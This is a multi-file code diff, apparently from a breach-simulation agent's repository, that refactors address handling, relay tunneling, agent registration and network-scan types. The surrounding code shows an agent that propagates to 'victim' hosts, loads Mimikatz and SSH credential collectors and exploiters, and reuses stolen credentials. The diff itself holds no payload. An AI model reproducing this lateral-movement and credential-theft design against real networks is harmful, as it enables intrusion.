requests.exceptions.JSONDecodeError,
|
||||
requests.exceptions.ConnectionError,
|
||||
requests.exceptions.Timeout,
|
||||
requests.exceptions.TooManyRedirects,
|
||||
requests.exceptions.HTTPError,
|
||||
) as e:
|
||||
raise IslandCommunicationError(e)
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
from dataclasses import dataclass
|
||||
from typing import Dict
|
||||
|
||||
from common.types import NetworkPort, PingScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, PortScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData
|
||||
|
||||
Port = int
|
||||
FingerprinterName = str
|
||||
|
||||
|
||||
@dataclass
|
||||
class IPScanResults:
|
||||
ping_scan_data: PingScanData
|
||||
port_scan_data: Dict[NetworkPort, PortScanData]
|
||||
port_scan_data: Dict[Port, PortScanData]
|
||||
fingerprint_data: Dict[FingerprinterName, FingerprintData]
|
||||
|
|
|
@ -8,9 +8,15 @@ from typing import Callable, Dict, Sequence
|
|||
from common.agent_configuration.agent_sub_configurations import (
|
||||
NetworkScanConfiguration,
|
||||
PluginConfiguration,
|
||||
ScanTargetConfiguration,
|
||||
)
|
||||
from infection_monkey.i_puppet import (
|
||||
FingerprintData,
|
||||
IPuppet,
|
||||
PingScanData,
|
||||
PortScanData,
|
||||
PortStatus,
|
||||
)
|
||||
from common.types import PingScanData, PortStatus
|
||||
from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData
|
||||
from infection_monkey.network import NetworkAddress
|
||||
from infection_monkey.utils.threading import interruptible_iter, run_worker_threads
|
||||
|
||||
|
@ -29,7 +35,7 @@ class IPScanner:
|
|||
def scan(
|
||||
self,
|
||||
addresses_to_scan: Sequence[NetworkAddress],
|
||||
options: NetworkScanConfiguration,
|
||||
options: ScanTargetConfiguration,
|
||||
results_callback: Callback,
|
||||
stop: Event,
|
||||
):
|
||||
|
|
|
@ -2,7 +2,7 @@ import logging
|
|||
from ipaddress import IPv4Interface
|
||||
from queue import Queue
|
||||
from threading import Event
|
||||
from typing import List, Mapping, Sequence
|
||||
from typing import Dict, List, Sequence
|
||||
|
||||
from common.agent_configuration import (
|
||||
ExploitationConfiguration,
|
||||
|
@ -10,8 +10,13 @@ from common.agent_configuration import (
|
|||
PropagationConfiguration,
|
||||
ScanTargetConfiguration,
|
||||
)
|
||||
from common.types import NetworkPort, PingScanData, PortStatus
|
||||
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData
|
||||
from infection_monkey.i_puppet import (
|
||||
ExploiterResultData,
|
||||
FingerprintData,
|
||||
PingScanData,
|
||||
PortScanData,
|
||||
PortStatus,
|
||||
)
|
||||
from infection_monkey.model import VictimHost, VictimHostFactory
|
||||
from infection_monkey.network import NetworkAddress
|
||||
from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list
|
||||
|
@ -21,7 +26,6 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
|
|||
from infection_monkey.utils.threading import create_daemon_thread
|
||||
|
||||
from . import Exploiter, IPScanner, IPScanResults
|
||||
from .ip_scan_results import FingerprinterName
|
||||
|
||||
logger = logging.getLogger()
|
||||
|
||||
|
@ -116,14 +120,14 @@ class Propagator:
|
|||
ranges_to_scan = target_config.subnets
|
||||
inaccessible_subnets = target_config.inaccessible_subnets
|
||||
blocklisted_ips = target_config.blocked_ips
|
||||
scan_my_networks = target_config.scan_my_networks
|
||||
enable_local_network_scan = target_config.local_network_scan
|
||||
|
||||
return compile_scan_target_list(
|
||||
self._local_network_interfaces,
|
||||
ranges_to_scan,
|
||||
inaccessible_subnets,
|
||||
blocklisted_ips,
|
||||
scan_my_networks,
|
||||
enable_local_network_scan,
|
||||
)
|
||||
|
||||
def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults):
|
||||
|
@ -145,21 +149,16 @@ class Propagator:
|
|||
victim_host.os["type"] = ping_scan_data.os
|
||||
|
||||
@staticmethod
|
||||
def _process_tcp_scan_results(
|
||||
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData]
|
||||
):
|
||||
for psd in filter(
|
||||
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()
|
||||
):
|
||||
def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData):
|
||||
for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()):
|
||||
victim_host.services[psd.service] = {}
|
||||
victim_host.services[psd.service]["display_name"] = "unknown(TCP)"
|
||||
victim_host.services[psd.service]["port"] = psd.port
|
||||
if psd.banner is not None:
|
||||
victim_host.services[psd.service]["banner"] = psd.banner
|
||||
victim_host.services[psd.service]["banner"] = psd.banner
|
||||
|
||||
@staticmethod
|
||||
def _process_fingerprinter_results(
|
||||
victim_host: VictimHost, fingerprint_data: Mapping[FingerprinterName, FingerprintData]
|
||||
victim_host: VictimHost, fingerprint_data: Dict[str, FingerprintData]
|
||||
):
|
||||
for fd in fingerprint_data.values():
|
||||
# TODO: This logic preserves the existing behavior prior to introducing IMaster and
|
||||
|
@ -169,7 +168,7 @@ class Propagator:
|
|||
if fd.os_type is not None:
|
||||
victim_host.os["type"] = fd.os_type
|
||||
|
||||
if ("version" not in victim_host.os) and (fd.os_version is not None):
|
||||
if ("version" not in victim_host.os) and (fd.os_version):
|
||||
victim_host.os["version"] = fd.os_version
|
||||
|
||||
for service, details in fd.services.items():
|
||||
|
|
|
@ -10,7 +10,7 @@ class VictimHost(object):
|
|||
self.os: Dict[str, Any] = {}
|
||||
self.services: Dict[str, Any] = {}
|
||||
self.icmp = False
|
||||
self.default_server = None
|
||||
self.default_server = ""
|
||||
|
||||
def as_dict(self):
|
||||
return self.__dict__
|
||||
|
|
|
@ -3,9 +3,9 @@ import logging
|
|||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from ipaddress import IPv4Interface
|
||||
from ipaddress import IPv4Address, IPv4Interface
|
||||
from pathlib import Path, WindowsPath
|
||||
from typing import List, Optional, Sequence, Tuple
|
||||
from typing import List, Mapping, Optional, Tuple
|
||||
|
||||
from pubsub.core import Publisher
|
||||
|
||||
|
@ -13,19 +13,17 @@ from common.agent_event_serializers import (
|
|||
AgentEventSerializerRegistry,
|
||||
register_common_agent_event_serializers,
|
||||
)
|
||||
from common.agent_events import CredentialsStolenEvent, PropagationEvent
|
||||
from common.agent_registration_data import AgentRegistrationData
|
||||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
|
||||
from common.network.network_utils import get_my_ip_addresses, get_network_interfaces
|
||||
from common.types import SocketAddress
|
||||
from common.network.network_utils import (
|
||||
address_to_ip_port,
|
||||
get_my_ip_addresses,
|
||||
get_network_interfaces,
|
||||
)
|
||||
from common.utils.argparse_types import positive_int
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
from common.version import get_version
|
||||
from infection_monkey.agent_event_handlers import (
|
||||
AgentEventForwarder,
|
||||
add_stolen_credentials_to_propagation_credentials_repository,
|
||||
notify_relay_on_propagation,
|
||||
)
|
||||
from infection_monkey.agent_event_forwarder import AgentEventForwarder
|
||||
from infection_monkey.config import GUID
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.credential_collectors import (
|
||||
|
@ -35,6 +33,7 @@ from infection_monkey.credential_collectors import (
|
|||
from infection_monkey.credential_repository import (
|
||||
AggregatingPropagationCredentialsRepository,
|
||||
IPropagationCredentialsRepository,
|
||||
add_credentials_from_event_to_propagation_credentials_repository,
|
||||
)
|
||||
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
|
@ -54,7 +53,6 @@ from infection_monkey.network.firewall import app as firewall
|
|||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.relay import TCPRelay
|
||||
from infection_monkey.network.relay.utils import (
|
||||
IslandAPISearchResults,
|
||||
find_available_island_apis,
|
||||
notify_disconnect,
|
||||
send_remove_from_waitlist_control_message_to_relays,
|
||||
|
@ -83,15 +81,16 @@ from infection_monkey.puppet.puppet import Puppet
|
|||
from infection_monkey.system_singleton import SystemSingleton
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
|
||||
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
|
||||
ExploitInterceptingTelemetryMessenger,
|
||||
)
|
||||
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
|
||||
LegacyTelemetryMessengerAdapter,
|
||||
)
|
||||
from infection_monkey.telemetry.state_telem import StateTelem
|
||||
from infection_monkey.utils import agent_process
|
||||
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
|
||||
from infection_monkey.utils.ids import get_agent_id, get_machine_id
|
||||
from infection_monkey.utils.monkey_dir import (
|
||||
create_monkey_dir,
|
||||
get_monkey_dir_path,
|
||||
|
@ -111,25 +110,21 @@ class InfectionMonkey:
|
|||
|
||||
self._singleton = SystemSingleton()
|
||||
self._opts = self._get_arguments(args)
|
||||
self._agent_id = get_agent_id()
|
||||
|
||||
self._agent_event_serializer_registry = self._setup_agent_event_serializers()
|
||||
|
||||
self._island_address, self._island_api_client = self._connect_to_island_api()
|
||||
self._cmd_island_ip = self._island_address.ip
|
||||
self._cmd_island_port = self._island_address.port
|
||||
|
||||
server, self._island_api_client = self._connect_to_island_api()
|
||||
# TODO: `address_to_port()` should return the port as an integer.
|
||||
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
|
||||
self._cmd_island_port = int(self._cmd_island_port)
|
||||
self._control_client = ControlClient(
|
||||
server_address=self._island_address, island_api_client=self._island_api_client
|
||||
server_address=server, island_api_client=self._island_api_client
|
||||
)
|
||||
self._control_channel = ControlChannel(
|
||||
str(self._island_address), self._agent_id, self._island_api_client
|
||||
)
|
||||
self._register_agent()
|
||||
|
||||
# TODO Refactor the telemetry messengers to accept control client
|
||||
# and remove control_client_object
|
||||
ControlClient.control_client_object = self._control_client
|
||||
self._control_channel = None
|
||||
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
|
||||
self._current_depth = self._opts.depth
|
||||
self._master = None
|
||||
|
@ -139,11 +134,7 @@ class InfectionMonkey:
|
|||
def _get_arguments(args):
|
||||
arg_parser = argparse.ArgumentParser()
|
||||
arg_parser.add_argument("-p", "--parent")
|
||||
arg_parser.add_argument(
|
||||
"-s",
|
||||
"--servers",
|
||||
type=lambda arg: [SocketAddress.from_string(s) for s in arg.strip().split(",")],
|
||||
)
|
||||
arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
|
||||
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
|
||||
opts = arg_parser.parse_args(args)
|
||||
InfectionMonkey._log_arguments(opts)
|
||||
|
@ -151,8 +142,8 @@ class InfectionMonkey:
|
|||
return opts
|
||||
|
||||
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
|
||||
def _connect_to_island_api(self) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
|
||||
logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}")
|
||||
def _connect_to_island_api(self) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
|
||||
logger.debug(f"Trying to wake up with servers: {', '.join(self._opts.servers)}")
|
||||
server_clients = find_available_island_apis(
|
||||
self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
|
||||
)
|
||||
|
@ -163,8 +154,7 @@ class InfectionMonkey:
|
|||
logger.info(f"Successfully connected to the island via {server}")
|
||||
else:
|
||||
raise Exception(
|
||||
"Failed to connect to the island via any known servers: "
|
||||
f"[{', '.join(map(str, self._opts.servers))}]"
|
||||
f"Failed to connect to the island via any known servers: {self._opts.servers}"
|
||||
)
|
||||
|
||||
# NOTE: Since we pass the address for each of our interfaces to the exploited
|
||||
|
@ -175,30 +165,18 @@ class InfectionMonkey:
|
|||
|
||||
return server, island_api_client
|
||||
|
||||
def _register_agent(self):
|
||||
agent_registration_data = AgentRegistrationData(
|
||||
id=self._agent_id,
|
||||
machine_hardware_id=get_machine_id(),
|
||||
start_time=agent_process.get_start_time(),
|
||||
# parent_id=parent,
|
||||
parent_id=None, # None for now, until we change GUID to UUID
|
||||
cc_server=self._island_address,
|
||||
network_interfaces=get_network_interfaces(),
|
||||
)
|
||||
self._island_api_client.register_agent(agent_registration_data)
|
||||
|
||||
def _select_server(
|
||||
self, server_clients: IslandAPISearchResults
|
||||
) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
|
||||
self, server_clients: Mapping[str, Optional[IIslandAPIClient]]
|
||||
) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
|
||||
for server in self._opts.servers:
|
||||
if server_clients[server] is not None:
|
||||
if server_clients[server]:
|
||||
return server, server_clients[server]
|
||||
|
||||
return None, None
|
||||
|
||||
@staticmethod
|
||||
def _log_arguments(args):
|
||||
arg_string = ", ".join([f"{key}: {value}" for key, value in vars(args).items()])
|
||||
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
|
||||
logger.info(f"Monkey started with arguments: {arg_string}")
|
||||
|
||||
def start(self):
|
||||
|
@ -217,7 +195,7 @@ class InfectionMonkey:
|
|||
|
||||
run_aws_environment_check(self._telemetry_messenger)
|
||||
|
||||
should_stop = self._control_channel.should_agent_stop()
|
||||
should_stop = ControlChannel(self._control_client.server_address, GUID).should_agent_stop()
|
||||
if should_stop:
|
||||
logger.info("The Monkey Island has instructed this agent to stop")
|
||||
return
|
||||
|
@ -233,21 +211,26 @@ class InfectionMonkey:
|
|||
if firewall.is_enabled():
|
||||
firewall.add_firewall_rule()
|
||||
|
||||
self._control_channel = ControlChannel(self._control_client.server_address, GUID)
|
||||
self._control_channel.register_agent(self._opts.parent)
|
||||
|
||||
config = self._control_channel.get_config()
|
||||
|
||||
relay_port = get_free_tcp_port()
|
||||
self._relay = TCPRelay(
|
||||
relay_port,
|
||||
self._island_address,
|
||||
IPv4Address(self._cmd_island_ip),
|
||||
self._cmd_island_port,
|
||||
client_disconnect_timeout=config.keep_tunnel_open_time,
|
||||
)
|
||||
relay_servers = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()]
|
||||
|
||||
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
|
||||
self._relay.start()
|
||||
|
||||
StateTelem(is_done=False, version=get_version()).send()
|
||||
|
||||
self._build_master(relay_port)
|
||||
self._build_master(relay_servers)
|
||||
|
||||
register_signal_handlers(self._master)
|
||||
|
||||
|
@ -258,8 +241,7 @@ class InfectionMonkey:
|
|||
|
||||
return agent_event_serializer_registry
|
||||
|
||||
def _build_master(self, relay_port: int):
|
||||
servers = self._build_server_list(relay_port)
|
||||
def _build_master(self, relay_servers: List[str]):
|
||||
local_network_interfaces = get_network_interfaces()
|
||||
|
||||
# TODO control_channel and control_client have same responsibilities, merge them
|
||||
|
@ -267,64 +249,64 @@ class InfectionMonkey:
|
|||
self._control_channel
|
||||
)
|
||||
|
||||
agent_event_queue = PyPubSubAgentEventQueue(Publisher())
|
||||
event_queue = PyPubSubAgentEventQueue(Publisher())
|
||||
self._subscribe_events(
|
||||
agent_event_queue,
|
||||
event_queue,
|
||||
propagation_credentials_repository,
|
||||
self._control_client.server_address,
|
||||
self._agent_event_serializer_registry,
|
||||
)
|
||||
|
||||
puppet = self._build_puppet(agent_event_queue)
|
||||
puppet = self._build_puppet(event_queue)
|
||||
|
||||
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
|
||||
|
||||
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
|
||||
self._telemetry_messenger, self._relay
|
||||
)
|
||||
|
||||
self._master = AutomatedMaster(
|
||||
self._current_depth,
|
||||
servers,
|
||||
self._opts.servers + relay_servers,
|
||||
puppet,
|
||||
self._telemetry_messenger,
|
||||
telemetry_messenger,
|
||||
victim_host_factory,
|
||||
self._control_channel,
|
||||
local_network_interfaces,
|
||||
propagation_credentials_repository,
|
||||
)
|
||||
|
||||
def _build_server_list(self, relay_port: int) -> Sequence[str]:
|
||||
my_servers = set(map(str, self._opts.servers))
|
||||
relay_servers = {f"{ip}:{relay_port}" for ip in get_my_ip_addresses()}
|
||||
return list(my_servers.union(relay_servers))
|
||||
|
||||
def _subscribe_events(
|
||||
self,
|
||||
agent_event_queue: IAgentEventQueue,
|
||||
event_queue: IAgentEventQueue,
|
||||
propagation_credentials_repository: IPropagationCredentialsRepository,
|
||||
server_address: str,
|
||||
agent_event_serializer_registry: AgentEventSerializerRegistry,
|
||||
):
|
||||
agent_event_queue.subscribe_type(
|
||||
event_queue.subscribe_type(
|
||||
CredentialsStolenEvent,
|
||||
add_stolen_credentials_to_propagation_credentials_repository(
|
||||
add_credentials_from_event_to_propagation_credentials_repository(
|
||||
propagation_credentials_repository
|
||||
),
|
||||
)
|
||||
agent_event_queue.subscribe_all_events(
|
||||
event_queue.subscribe_all_events(
|
||||
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
|
||||
)
|
||||
agent_event_queue.subscribe_type(PropagationEvent, notify_relay_on_propagation(self._relay))
|
||||
|
||||
def _build_puppet(
|
||||
self,
|
||||
agent_event_queue: IAgentEventQueue,
|
||||
event_queue: IAgentEventQueue,
|
||||
) -> IPuppet:
|
||||
puppet = Puppet(agent_event_queue)
|
||||
puppet = Puppet()
|
||||
|
||||
puppet.load_plugin(
|
||||
"MimikatzCollector",
|
||||
MimikatzCredentialCollector(agent_event_queue),
|
||||
MimikatzCredentialCollector(event_queue),
|
||||
PluginType.CREDENTIAL_COLLECTOR,
|
||||
)
|
||||
puppet.load_plugin(
|
||||
"SSHCollector",
|
||||
SSHCredentialCollector(self._telemetry_messenger, agent_event_queue),
|
||||
SSHCredentialCollector(self._telemetry_messenger, event_queue),
|
||||
PluginType.CREDENTIAL_COLLECTOR,
|
||||
)
|
||||
|
||||
|
@ -338,7 +320,7 @@ class InfectionMonkey:
|
|||
island_api_client=self._island_api_client,
|
||||
)
|
||||
exploit_wrapper = ExploiterWrapper(
|
||||
self._telemetry_messenger, agent_event_queue, agent_binary_repository
|
||||
self._telemetry_messenger, event_queue, agent_binary_repository
|
||||
)
|
||||
|
||||
puppet.load_plugin(
|
||||
|
@ -438,8 +420,8 @@ class InfectionMonkey:
|
|||
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
|
||||
|
||||
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
|
||||
server_ip = self._control_client.server_address.ip
|
||||
return server_ip in {interface.ip for interface in local_network_interfaces}
|
||||
server_ip, _ = address_to_ip_port(self._control_client.server_address)
|
||||
return server_ip in {str(interface.ip) for interface in local_network_interfaces}
|
||||
|
||||
def _is_another_monkey_running(self):
|
||||
return not self._singleton.try_lock()
|
||||
|
@ -488,17 +470,17 @@ class InfectionMonkey:
|
|||
|
||||
def _close_tunnel(self):
|
||||
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
|
||||
notify_disconnect(self._island_address)
|
||||
notify_disconnect(self._cmd_island_ip, self._cmd_island_port)
|
||||
|
||||
def _send_log(self):
|
||||
monkey_log_path = get_agent_log_path()
|
||||
if monkey_log_path.is_file():
|
||||
with open(monkey_log_path, "r") as f:
|
||||
log_contents = f.read()
|
||||
log = f.read()
|
||||
else:
|
||||
log_contents = ""
|
||||
log = ""
|
||||
|
||||
self._island_api_client.send_log(self._agent_id, log_contents)
|
||||
self._control_client.send_log(log)
|
||||
|
||||
@staticmethod
|
||||
def _self_delete() -> bool:
|
||||
|
|
|
@ -4,7 +4,7 @@ import struct
|
|||
from dataclasses import dataclass
|
||||
from random import shuffle # noqa: DUO102
|
||||
from threading import Lock
|
||||
from typing import Dict, Optional, Set
|
||||
from typing import Dict, Set
|
||||
|
||||
import netifaces
|
||||
import psutil
|
||||
|
@ -25,7 +25,7 @@ RTF_REJECT = 0x0200
|
|||
@dataclass
|
||||
class NetworkAddress:
|
||||
ip: str
|
||||
domain: Optional[str]
|
||||
domain: str
|
||||
|
||||
|
||||
def get_host_subnets():
|
||||
|
|
|
@ -1,10 +1,9 @@
|
|||
import socket
|
||||
from ipaddress import IPv4Address
|
||||
from logging import getLogger
|
||||
from threading import Lock
|
||||
from typing import Set
|
||||
|
||||
from common.types import SocketAddress
|
||||
|
||||
from .consts import SOCKET_TIMEOUT
|
||||
from .sockets_pipe import SocketsPipe
|
||||
|
||||
|
@ -16,9 +15,9 @@ class TCPPipeSpawner:
|
|||
Creates bi-directional pipes between the configured client and other clients.
|
||||
"""
|
||||
|
||||
def __init__(self, target_addr: SocketAddress):
|
||||
self._target_ip = target_addr.ip
|
||||
self._target_port = target_addr.port
|
||||
def __init__(self, target_addr: IPv4Address, target_port: int):
|
||||
self._target_addr = target_addr
|
||||
self._target_port = target_port
|
||||
self._pipes: Set[SocketsPipe] = set()
|
||||
self._lock = Lock()
|
||||
|
||||
|
@ -32,7 +31,7 @@ class TCPPipeSpawner:
|
|||
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
dest.settimeout(SOCKET_TIMEOUT)
|
||||
try:
|
||||
dest.connect((str(self._target_ip), self._target_port))
|
||||
dest.connect((str(self._target_addr), self._target_port))
|
||||
except OSError as err:
|
||||
source.close()
|
||||
dest.close()
|
||||
|
|
|
@ -3,7 +3,6 @@ from logging import getLogger
|
|||
from threading import Lock, Thread
|
||||
from time import sleep
|
||||
|
||||
from common.types import SocketAddress
|
||||
from infection_monkey.network.relay import (
|
||||
RelayConnectionHandler,
|
||||
RelayUserHandler,
|
||||
|
@ -23,14 +22,15 @@ class TCPRelay(Thread, InterruptableThreadMixin):
|
|||
def __init__(
|
||||
self,
|
||||
relay_port: int,
|
||||
dest_address: SocketAddress,
|
||||
dest_addr: IPv4Address,
|
||||
dest_port: int,
|
||||
client_disconnect_timeout: float,
|
||||
):
|
||||
self._user_handler = RelayUserHandler(
|
||||
new_client_timeout=client_disconnect_timeout,
|
||||
client_disconnect_timeout=client_disconnect_timeout,
|
||||
)
|
||||
self._pipe_spawner = TCPPipeSpawner(dest_address)
|
||||
self._pipe_spawner = TCPPipeSpawner(dest_addr, dest_port)
|
||||
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
|
||||
self._connection_handler = TCPConnectionHandler(
|
||||
bind_host="",
|
||||
|
|
|
@ -1,10 +1,11 @@
|
|||
import logging
|
||||
import socket
|
||||
from contextlib import suppress
|
||||
from typing import Dict, Iterable, Iterator, Optional
|
||||
from ipaddress import IPv4Address
|
||||
from typing import Dict, Iterable, Iterator, Mapping, MutableMapping, Optional, Tuple
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.types import SocketAddress
|
||||
from common.network.network_utils import address_to_ip_port
|
||||
from infection_monkey.island_api_client import (
|
||||
AbstractIslandAPIClientFactory,
|
||||
IIslandAPIClient,
|
||||
|
@ -26,15 +27,12 @@ logger = logging.getLogger(__name__)
|
|||
NUM_FIND_SERVER_WORKERS = 32
|
||||
|
||||
|
||||
IslandAPISearchResults = Dict[SocketAddress, Optional[IIslandAPIClient]]
|
||||
|
||||
|
||||
def find_available_island_apis(
|
||||
servers: Iterable[SocketAddress], island_api_client_factory: AbstractIslandAPIClientFactory
|
||||
) -> IslandAPISearchResults:
|
||||
servers: Iterable[str], island_api_client_factory: AbstractIslandAPIClientFactory
|
||||
) -> Mapping[str, Optional[IIslandAPIClient]]:
|
||||
server_list = list(servers)
|
||||
server_iterator = ThreadSafeIterator(server_list.__iter__())
|
||||
server_results: IslandAPISearchResults = {}
|
||||
server_results: Dict[str, Tuple[bool, IIslandAPIClient]] = {}
|
||||
|
||||
run_worker_threads(
|
||||
_find_island_server,
|
||||
|
@ -47,18 +45,18 @@ def find_available_island_apis(
|
|||
|
||||
|
||||
def _find_island_server(
|
||||
servers: Iterator[SocketAddress],
|
||||
server_results: IslandAPISearchResults,
|
||||
servers: Iterator[str],
|
||||
server_status: MutableMapping[str, Optional[IIslandAPIClient]],
|
||||
island_api_client_factory: AbstractIslandAPIClientFactory,
|
||||
):
|
||||
with suppress(StopIteration):
|
||||
server = next(servers)
|
||||
server_results[server] = _check_if_island_server(server, island_api_client_factory)
|
||||
server_status[server] = _check_if_island_server(server, island_api_client_factory)
|
||||
|
||||
|
||||
def _check_if_island_server(
|
||||
server: SocketAddress, island_api_client_factory: AbstractIslandAPIClientFactory
|
||||
) -> Optional[IIslandAPIClient]:
|
||||
server: str, island_api_client_factory: AbstractIslandAPIClientFactory
|
||||
) -> IIslandAPIClient:
|
||||
logger.debug(f"Trying to connect to server: {server}")
|
||||
|
||||
try:
|
||||
|
@ -78,28 +76,34 @@ def _check_if_island_server(
|
|||
return None
|
||||
|
||||
|
||||
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[SocketAddress]):
|
||||
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[str]):
|
||||
for i, server in enumerate(servers, start=1):
|
||||
t = create_daemon_thread(
|
||||
target=notify_disconnect,
|
||||
target=_send_remove_from_waitlist_control_message_to_relay,
|
||||
name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}",
|
||||
args=(server,),
|
||||
)
|
||||
t.start()
|
||||
|
||||
|
||||
def notify_disconnect(server_address: SocketAddress):
|
||||
"""
|
||||
Tell upstream relay that we no longer need the relay
|
||||
def _send_remove_from_waitlist_control_message_to_relay(server: str):
|
||||
ip, port = address_to_ip_port(server)
|
||||
notify_disconnect(IPv4Address(ip), int(port))
|
||||
|
||||
:param server_address: The address of the server to notify
|
||||
|
||||
def notify_disconnect(server_ip: IPv4Address, server_port: int):
|
||||
"""
|
||||
Tell upstream relay that we no longer need the relay.
|
||||
|
||||
:param server_ip: The IP address of the server to notify.
|
||||
:param server_port: The port of the server to notify.
|
||||
"""
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
|
||||
d_socket.settimeout(LONG_REQUEST_TIMEOUT)
|
||||
|
||||
try:
|
||||
d_socket.connect((str(server_address.ip), server_address.port))
|
||||
d_socket.connect((str(server_ip), server_port))
|
||||
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
|
||||
logger.info(f"Control message was sent to the server/relay {server_address}")
|
||||
logger.info(f"Control message was sent to the server/relay {server_ip}:{server_port}")
|
||||
except OSError as err:
|
||||
logger.error(f"Error connecting to socket {server_address}: {err}")
|
||||
logger.error(f"Error connecting to socket {server_ip}:{server_port}: {err}")
|
||||
|
|
|
@ -3,8 +3,6 @@ import select
|
|||
import socket
|
||||
import struct
|
||||
import sys
|
||||
from ipaddress import IPv4Address
|
||||
from typing import Optional
|
||||
|
||||
from common.common_consts.timeouts import CONNECTION_TIMEOUT
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
@ -15,7 +13,7 @@ BANNER_READ = 1024
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
"""
|
||||
Checks if a given TCP port is open
|
||||
:param ip: Target IP
|
||||
|
@ -28,7 +26,7 @@ def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_bann
|
|||
sock.settimeout(timeout)
|
||||
|
||||
try:
|
||||
sock.connect((str(ip), port))
|
||||
sock.connect((ip, port))
|
||||
except socket.timeout:
|
||||
return False, None
|
||||
except socket.error as exc:
|
||||
|
@ -53,7 +51,7 @@ def tcp_port_to_service(port):
|
|||
return "tcp-" + str(port)
|
||||
|
||||
|
||||
def get_interface_to_target(dst: str) -> Optional[str]:
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
|
|
|
@ -5,8 +5,13 @@ from typing import Any, Dict
|
|||
import requests
|
||||
|
||||
from common.common_consts.network_consts import ES_SERVICE
|
||||
from common.types import PingScanData, PortStatus
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||
from infection_monkey.i_puppet import (
|
||||
FingerprintData,
|
||||
IFingerprinter,
|
||||
PingScanData,
|
||||
PortScanData,
|
||||
PortStatus,
|
||||
)
|
||||
|
||||
DISPLAY_NAME = "ElasticSearch"
|
||||
ES_PORT = 9200
|
||||
|
@ -26,10 +31,10 @@ class ElasticSearchFingerprinter(IFingerprinter):
|
|||
port_scan_data: Dict[int, PortScanData],
|
||||
_options: Dict,
|
||||
) -> FingerprintData:
|
||||
services = {}
|
||||
services: Dict[str, Any] = {}
|
||||
|
||||
if (ES_PORT not in port_scan_data) or (port_scan_data[ES_PORT].status != PortStatus.OPEN):
|
||||
return FingerprintData(None, None, services)
|
||||
return FingerprintData(None, "", services)
|
||||
|
||||
try:
|
||||
elasticsearch_info = _query_elasticsearch(host)
|
||||
|
@ -37,7 +42,7 @@ class ElasticSearchFingerprinter(IFingerprinter):
|
|||
except Exception as ex:
|
||||
logger.debug(f"Did not detect an ElasticSearch cluster: {ex}")
|
||||
|
||||
return FingerprintData(None, None, services)
|
||||
return FingerprintData(None, "", services)
|
||||
|
||||
|
||||
def _query_elasticsearch(host: str) -> Dict[str, Any]:
|
||||
|
|
|
@ -1,12 +1,17 @@
|
|||
import logging
|
||||
from contextlib import closing
|
||||
